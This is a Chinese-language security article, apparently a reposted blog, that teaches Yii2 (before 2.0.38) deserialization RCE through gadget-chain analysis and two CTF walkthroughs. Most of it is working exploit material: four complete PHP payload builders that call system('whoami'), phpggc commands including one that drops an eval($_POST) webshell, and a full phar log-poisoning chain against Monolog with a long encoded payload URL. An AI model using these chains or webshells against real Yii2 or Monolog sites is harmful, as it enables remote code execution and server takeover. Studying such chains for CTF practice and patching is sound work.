通过几道CTF题学习yii2框架
原创稿件征集
邮箱:edu@antvsion.com
QQ:3200599554
黑客与极客相关,互联网安全领域里
的热点话题
漏洞、技术相关的调查或分析
稿件通过并发布还能收获
200-800元不等的稿酬
简介
Yii
是一套基于组件、用于开发大型 Web 应用的高性能 PHP 框架,Yii2 2.0.38
之前的版本存在反序列化漏洞,程序在调用unserialize()
时,攻击者可通过构造特定的恶意请求执行任意命令,本篇就分析一下yii2
利用链以及如何自己去构造payload
,并结合CTF题目去学习yii2
框架
Yii2<2.0.38反序列化
安装:在 https://github.com/yiisoft/yii2/releases 下载2.0.37
的版本
然后在 yii-basic-app-2.0.37\basic\config\web.php
里面往cookieValidationKey
随意给点值,运行 php yii serve
,新建一个控制器
yii-basic-app-2.0.37\basic\controllers\TestController.php
<?php
namespace app\controllers;
use yii\web\Controller;class TestController extends Controller{public function actionTest($name){return unserialize($name);}
}
就可以进行测试了
?r=test/test&name=
链一
链的入口在
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\db\BatchQueryResult.php
public function __destruct()
{// make sure cursor is closed$this->reset();}
跟进$this->reset();
public function reset()
{if ($this->_dataReader !== null) {$this->_dataReader->close();}
这里的$this->_dataReader
可控,并调用了close()
方法,那么可以找到一个类不存在close()
方法,但存在__call
方法就可以调用他了
在yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2-gii\src\Generator.php
public function __call($method, $attributes)
{return $this->format($method, $attributes);}
这里的$method
为close
,$attributes
为空,继续跟进format
public function format($formatter, $arguments = array())
{return call_user_func_array($this->getFormatter($formatter), $arguments);}
跟进getFormatter
public function getFormatter($formatter)
{if (isset($this->formatters[$formatter])) {return $this->formatters[$formatter];}
似曾相识的代码,laravel5.8
某条链就出现过,这里$this->formatters
可控,也就是$this->getFormatter($formatter)
这这个可控,但是$arguments
的值我们无法控制,值为空
到这里可以执行phpinfo
了
<?php
namespace yii\db{class BatchQueryResult{private $_dataReader;public function __construct($_dataReader) {$this->_dataReader = $_dataReader;}}
}
namespace Faker{class Generator{protected $formatters = array();public function __construct($formatters) {$this->formatters = $formatters;}}
}
namespace {$a = new Faker\Generator(array('close'=>'phpinfo'));$b = new yii\db\BatchQueryResult($a);print(urlencode(serialize($b)));
}
但是我们想要rce
的话,还要在yii2
中已有的无参方法中进行挖掘
这里我们可以使用正则匹配直接搜索含有call_user_function
的无参函数
call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)
然后找到下面两个都比较好用
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\IndexAction.php
public function run()
{if ($this->checkAccess) {call_user_func($this->checkAccess, $this->id);}return $this->prepareDataProvider();}yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\CreateAction.php
public function run()
{if ($this->checkAccess) {call_user_func($this->checkAccess, $this->id);
}
这里的$this->checkAccess
和$this->id
都是我们可控的
所以直接构造就行了
<?php
namespace yii\db{class BatchQueryResult{private $_dataReader;public function __construct($_dataReader) {$this->_dataReader = $_dataReader;}}
}
namespace Faker{class Generator{protected $formatters = array();public function __construct($formatters) {$this->formatters = $formatters;}}
}
namespace yii\rest{class CreateAction{public $checkAccess;public $id;public function __construct($checkAccess,$id){$this->checkAccess = $checkAccess;$this->id = $id;}}
}
namespace {$c = new yii\rest\CreateAction('system','whoami');$b = new Faker\Generator(array('close'=>array($c, 'run')));$a = new yii\db\BatchQueryResult($b);print(urlencode(serialize($a)));
}
链二
这个是yii2 2.0.37
的另外一条链
起点和链一相同,是BatchQueryResult
类的__destruct
,然后是$this->_dataReader->close()
,但是这里不找__call
,我们去找存在close
方法的类
找到yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\web\DbSession.php
class DbSession extends MultiFieldSession
{
...
public function close()
{if ($this->getIsActive()) {// prepare writeCallback fields before session closes$this->fields = $this->composeFields();
这里跟进$this->composeFields()
abstract class MultiFieldSession extends Session
{
protected function composeFields($id = null, $data = null)
{$fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
这里$this->writeCallback
可控,$this
是一个对象,所以这里调phpinfo
的话应该不行,不过可以续上链一的run
方法(即那个无参的方法)
这里直接构造即可
<?php
namespace yii\db{class BatchQueryResult{private $_dataReader;public function __construct($_dataReader) {$this->_dataReader = $_dataReader;}}
}
namespace yii\web{class DbSession{public $writeCallback;public function __construct($writeCallback) {$this->writeCallback = $writeCallback;}}
}
namespace yii\rest{class CreateAction{public $checkAccess;public $id;public function __construct($checkAccess,$id){$this->checkAccess = $checkAccess;$this->id = $id;}}
}
namespace {$c = new yii\rest\CreateAction('system','whoami');$b = new yii\web\DbSession(array($c, 'run'));$a = new yii\db\BatchQueryResult($b);print(urlencode(serialize($a)));
}
链三
我们可以在yii2 2.0.38
的commit
看到他加了一个__wakeup
这里限制了链一的起点BatchQueryResult
无法使用,后面的__call
的链没有被破坏,所以我们继续寻找一个__destruct
yii-basic-app-2.0.37\basic\vendor\codeception\codeception\ext\RunProcess.php
public function __destruct()
{$this->stopProcess();}
这里继续跟进stopProcess
public function stopProcess()
{foreach (array_reverse($this->processes) as $process) {/** @var $process Process **/if (!$process->isRunning()) {continue;}
这里的$this->processes
可控,所以可以利用$process->isRunning()
来进行触发__call
后面的利用就和链一相同了
<?php
namespace Codeception\Extension{class RunProcess{private $processes = [];public function __construct($processes) {$this->processes[] = $processes;}}
}
namespace Faker{class Generator{protected $formatters = array();public function __construct($formatters) {$this->formatters = $formatters;}}
}
namespace yii\rest{class CreateAction{public $checkAccess;public $id;public function __construct($checkAccess,$id){$this->checkAccess = $checkAccess;$this->id = $id;}}
}
namespace {$c = new yii\rest\CreateAction('system','whoami');$b = new Faker\Generator(array('isRunning'=>array($c, 'run')));$a = new Codeception\Extension\RunProcess($b);print(urlencode(serialize($a)));
}
链四
同样的先找__destruct
yii-basic-app-2.0.37\basic\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php
public function __destruct()
{foreach ($this->keys as $nsKey => $null) {$this->clearAll($nsKey);}}
这里$nsKey
可控,跟进clearAll
public function clearAll($nsKey)
{if (array_key_exists($nsKey, $this->keys)) {foreach ($this->keys[$nsKey] as $itemKey => $null) {$this->clearKey($nsKey, $itemKey);}if (is_dir($this->path.'/'.$nsKey)) {rmdir($this->path.'/'.$nsKey);}unset($this->keys[$nsKey]);}}
这里没有触发__call
的地方,但是存在字符串的拼接,可以触发__toString
随便找找就找到了
yii-basic-app-2.0.37\basic\vendor\codeception\codeception\src\Codeception\Util\XmlBuilder.php
public function __toString()
{return $this->__dom__->saveXML();
}
同样用他去触发__call
<?php
namespace {class Swift_KeyCache_DiskKeyCache{private $path;private $keys = [];public function __construct($path,$keys) {$this->path = $path;$this->keys = $keys;}}
}
namespace Codeception\Util{class XmlBuilder{protected $__dom__;public function __construct($__dom__) {$this->__dom__ = $__dom__;}}
}
namespace Faker{class Generator{protected $formatters = array();public function __construct($formatters) {$this->formatters = $formatters;}}
}
namespace yii\rest{class CreateAction{public $checkAccess;public $id;public function __construct($checkAccess,$id){$this->checkAccess = $checkAccess;$this->id = $id;}}
}
namespace {$c = new yii\rest\CreateAction('system','whoami');$b = new Faker\Generator(array('saveXML'=>array($c,'run')));$a = new Codeception\Util\XmlBuilder($b);$d = new Swift_KeyCache_DiskKeyCache($a,array('kawhi'=>'kawhi'));print(urlencode(serialize($d)));
}
phpggc
使用./phpggc -l yii2
可以看到有两条yii2
的链
可以使用如下命令快速得到链,-u
指url
编码
./phpggc Yii2/RCE1 system id -u
phpggc
的链二的终点是一个eval
,所以这里可以直接写shell
,-b
指base64
编码
./phpggc Yii2/RCE2 'file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));' -b
CTF题目
[HMBCTF 2021]framework
把题目附件解压,看到html\controllers\SiteController.php
class SiteController extends Controller
{public function actionAbout($message = 'Hello')
{$data = base64_decode($message);unserialize($data);}
这里可以这样传参
?r=site/about&message=
拿链一打了一下,发现一下system
等函数被ban
这里用phpggc yii2
的链二写一个shell
进去,然后用蚁剑的 apache/mod
绕 disable
,运行 /readflag
即可获取 flag
[CISCN2021 Quals]filter
据说这是配置文件里面的重要内容,或许对你有用!!
'log' => ['traceLevel' => YII_DEBUG ? 0 : 0,'targets' => [['class' => 'yii\log\FileTarget','levels' => ['error'],'logVars' => [],],],],
看到附件的SiteController.php
就改了这个地方
public function actionIndex()
{$file = Yii::$app->request->get('file');$res = file_get_contents($file);file_put_contents($file,$res);return $this->render('index');}
yii
框架的runtime/logs
目录下有一个app.log
看一下依赖发现monolog
符合
"require": {"php": ">=5.6.0","yiisoft/yii2": "~2.0.14","yiisoft/yii2-bootstrap": "~2.0.0","yiisoft/yii2-swiftmailer": "~2.0.0 || ~2.1.0","monolog/monolog":"1.19"},
首先清空日志文件
?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
phpggc
生成
php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "phpinfo" "1" --phar phar -o php://output |base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
写入日志,注意最后面要加个字符a
/?file==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6D=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=78=00=4F=00=69=00=49=00=78=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=49=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=54=00=61=00=58=00=70=00=6C=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=45=00=36=00=49=00=6A=00=45=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=54=00=6F=00=69=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=67=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=6C=00=75=00=61=00=58=00=52=00=70=00=59=00=57=00=78=00=70=00=65=00=6D=00=56=00=6B=00=49=00=6A=00=74=00=69=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=54=00=47=00=6C=00=74=00=61=00=58=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=48=00=4A=00=76=00=59=00=32=00=56=00=7A=00=63=00=32=00=39=00=79=00=63=00=79=00=49=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=6A=00=64=00=58=00=4A=00=79=00=5A=00=57=00=35=00=30=00=49=00=6A=00=74=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=77=00=61=00=48=00=42=00=70=00=62=00=6D=00=5A=00=76=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=47=00=59=00=61=00=33=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=47=00=59=00=61=00=33=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=64=00=47=00=56=00=7A=00=64=00=4A=00=41=00=61=00=47=00=73=00=75=00=53=00=31=00=47=00=68=00=54=00=49=00=2B=00=6B=00=4B=00=58=00=33=00=45=00=68=00=2B=00=4D=00=44=00=71=00=54=00=76=00=6E=00=6F=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a
保留phar
的内容
/?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
最后用phar
协议打一下
/?file=phar://../runtime/logs/app.log/test.txt
然后在根目录找到This_is_flaaagggg
然后用这个找一下flag
即可
php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "system" "cat /This_is_flaaagggg" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
实操推荐
PHP反序列化漏洞:(复制链接体验)
https://www.hetianlab.com/expc.doec=ECID172.19.104.182016010714511600001&pk_campaign=weixin-wemedia#stu
通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。
戳阅读原文,体验免费靶场!
通过几道CTF题学习yii2框架相关推荐
- ctf赛题上传一个php木马,从一道CTF题学习PHP反序列化漏洞
一.CTF题目 前阵子,参加了一个CTF比赛,其中有一条道题蛮有意思的,所以写出来分享一下. 此题利用了PHP的反序列化漏洞,通过构造特殊的Payload绕过__wakeup()魔术方法,从而实现注入 ...
- 从一道CTF题学习PHP反序列化漏洞
一.CTF题目 前阵子,参加了一个CTF比赛,其中有一条道题蛮有意思的,所以写出来分享一下. 此题利用了PHP的反序列化漏洞,通过构造特殊的Payload绕过__wakeup()魔术方法,从而实现注入 ...
- 【PHP学习】Yii2框架Gii模块使用
[PHP学习]Yii2框架Gii模块使用 开启Gii模块 Yii2中使用一个模块通常需要到config文件夹下的web.php下去配置,如下图我们就可以看到Gii模块的使用只有在YII_ENV_DEV ...
- CTF MISC在我眼里各种奇奇怪怪的题学习思路总结(持续更新)
系列文章目录 MISC:图片隐写简单题学习思路总结(持续更新) CTF Crypto简单题学习思路总结(持续更新) 文章目录 系列文章目录 前言 一.二维码 1.1 QR码 1.2 Maxicode码 ...
- CTF MISC图片隐写简单题学习思路总结(持续更新)
系列文章目录 第一篇文章: CTF Crypto简单题学习思路总结(持续更新) 文章目录 系列文章目录 前言 一.JPG类隐写 1.1 JPG文件末尾添加字符串 1.2 JPG文件中添加字符串 1.3 ...
- 网络安全ctf比赛/学习资源整理,解题工具、比赛时间、解题思路、实战靶场、学习路线,推荐收藏!...
对于想学习或者参加CTF比赛的朋友来说,CTF工具.练习靶场必不可少,今天给大家分享自己收藏的CTF资源,希望能对各位有所帮助. CTF在线工具 首先给大家推荐我自己常用的3个CTF在线工具网站,内容 ...
- ❤️手撕这十道HiveSQL题还不能吊打面试官,却能保你不被吊打❤️【推荐收藏】
全网最详细的大数据Hive文章系列,强烈建议收藏加关注! 新文章都已经列出历史文章目录,帮助大家回顾前面的知识重点. 目录 系列历史文章 前言 HiveSQL十题 第一题 1.需求 2.数据准备 3. ...
- BAT七年经验,却抵不过外企面试的两道算法题?
整理| 琥珀 出品| AI科技大本营 又遇年底跳槽季,如果你曾在 BAT 等互联网大厂有过较为丰富的工作经验,想要换份工作,面试时会主要考虑哪些因素? 面试外企,却被两道算法题难住? 近日,一位网友在 ...
- Yii 框架学习--01 框架入门
Yii 是一个高性能的,适用于开发 WEB2.0 应用的 PHP 框架. Yii目前有两个主要的版本: 2.0 和 1.1.本文以YII 2.0.7为例. 环境需求 Yii2.0 框架有一些系统上的需 ...
- 个性化联邦学习算法框架发布,赋能AI药物研发
摘要:近期,中科院上海药物所.上海科技大学联合华为云医疗智能体团队,在Science China Life Sciences 发表题为"Facing Small and Biased Dat ...
最新文章
- python nums函数_Python函数
- 11JavaScript中的对象
- Docker Review - dockerfile 入门篇
- Java中类的初始化顺序
- java定时器写法_java定时器的写法是什么样?
- play框架配置 拦截器_如何使用Play框架为https配置SSL证书
- win7台式电脑怎么连wifi_台式电脑怎么用wifi网络
- .net httpwebrequest 并发慢_go语言并发之MPG模型
- Running SharePoint on Windows 7(转)
- Docker详解(五)——Docker基本使用
- (理财十)钱生钱账户,如何理财实现长期目标
- 苹果进入多事之秋,电池门禁售门病魔缠身
- 企业为什么会遭到DDoS攻击?被DDoS攻击该怎么办?
- 游戏功能模块——新手引导
- 服务器上设置密码策略不能修改,Window Server 2008 R2 在Active Directory域中不能更改服务器密码策略...
- sass安装步骤、概述、基本语法等
- Google Earth Engine学习笔记(一)
- lol进入服务器后显示3秒白屏,LOL英雄联盟游戏大厅出现白屏的完美解决方法
- Linux系统云服务器查看/启用网站日志
- 《Linux就该这么学》第十节课学习笔记
热门文章
- 当路町-网络下载应用系列之三-认识磁力链接Magnet URL
- matlab c2d的c语言实现,Matlab c2d()函数的用法
- 计算机获得超级管理员,怎么获得Win7超级管理员权限
- C++基础学习之重载和重写的区别
- TypeError:Cannot read property 'bind' of underfined(React)
- python打开xls_python读取XLS文件或CSV文件
- vmware 虚拟机nat连接,局域网访问
- php繁体转为简体的函数,繁体中文转换为简体中文的PHP函数
- IDEA 奇淫 插件
- POJ 1061 青蛙的约定